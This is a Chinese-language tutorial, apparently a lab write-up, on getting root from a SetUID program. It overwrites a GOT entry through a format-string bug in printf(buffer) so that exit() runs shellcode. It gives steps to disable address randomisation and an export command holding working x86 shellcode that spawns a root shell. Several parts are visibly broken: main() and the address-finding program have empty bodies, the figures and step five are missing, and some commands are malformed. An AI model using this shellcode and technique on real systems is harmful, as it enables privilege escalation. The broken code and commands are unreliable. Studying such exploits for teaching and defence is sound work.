第一部分 過程連接表PLT PLT基本概念 例如下面的程序: //got_vul.c #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[1024]; //The following statement has a buffer overflow problem strncpy(buffer, str, sizeof(buffer)-1); printf(buffer); } int main(int argc, char **argv) { } 我們利用下面的命令把它編譯成SetUID root程序。 #gcc -fno-stack-protector got_vul.c -g -o got_vul #chmod 4755 got_vul 通過$objdump –d –j .plt ./got_vul 上面的這些指令中,我標(biāo)識的地址就是exit函數(shù)入口地址的指針。 看到這里,我們自然就會有一種想法: 如果退出函數(shù)使用的調(diào)轉(zhuǎn)指令指向我們的shellcode,那么我們就可以制造root shell漏洞了。 但是不幸的是,正如下圖所示PLT是只讀的; 因此無法改變它的轉(zhuǎn)移指針。 但是上述調(diào)轉(zhuǎn)指針并不是直接指向某一指令,而是指向存放這個指令的內(nèi)存區(qū)域首地址。例如0x804a010指針指向存放exit函數(shù)所在的內(nèi)存區(qū)域。更重要的是這個區(qū)域是可寫的,這一區(qū)域就是下面所說的全局轉(zhuǎn)移表GOT。 第二部分 全局轉(zhuǎn)移表(GOT) 正如上面所討論的那樣,PLT中轉(zhuǎn)移函數(shù)的入口地址的指針存放在PLT表中(是只讀的),但是這些函數(shù)的入口地址卻是存放在另一個可寫區(qū)域,我們把這個區(qū)域稱為全局轉(zhuǎn)移表(GOT)。 利用objdump –R ./got_vul我們可以查看這些函數(shù)的轉(zhuǎn)移地址如下: 我們的想法: 把shellcode的地址放到環(huán)境變量中,并預(yù)知其實際地址。如果我們能在GOT表中用Shellcode的地址重0x0804a010所指向的區(qū)域,那么當(dāng)程序認(rèn)為正在調(diào)用exit函數(shù)時,實際上卻是在調(diào)用我們的shellcode。 我們的攻擊過程如下: 第一步:關(guān)閉內(nèi)存地址隨機化機制 sudo sysctl -w kernel.randomize_va_space 第二步:編譯got_vul.c為set-UID root程序,編譯時加上編譯選項-fno-protector 第三布:在環(huán)境變量中存放shellcode export MyShell=$(perl -e 'print "\x90"x4800 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"') 第四步:利用下面函數(shù)編譯的程序獲取Shellcode 地址 //getenvaaddr.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { //argv[0]:正在執(zhí)行的程序名稱,本程序中:getenvaaddr //argv[2]:即將執(zhí)行的漏洞程序的名稱(包括路徑),本程序中:./got_vul //Linux ubuntu 系統(tǒng)中已經(jīng)驗證兩者名稱差一個字符,就會有兩個字節(jié)的地址偏移 } 第五步:改寫GOT并進(jìn)行攻擊 獲取地址 參考文獻(xiàn): Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson. |
|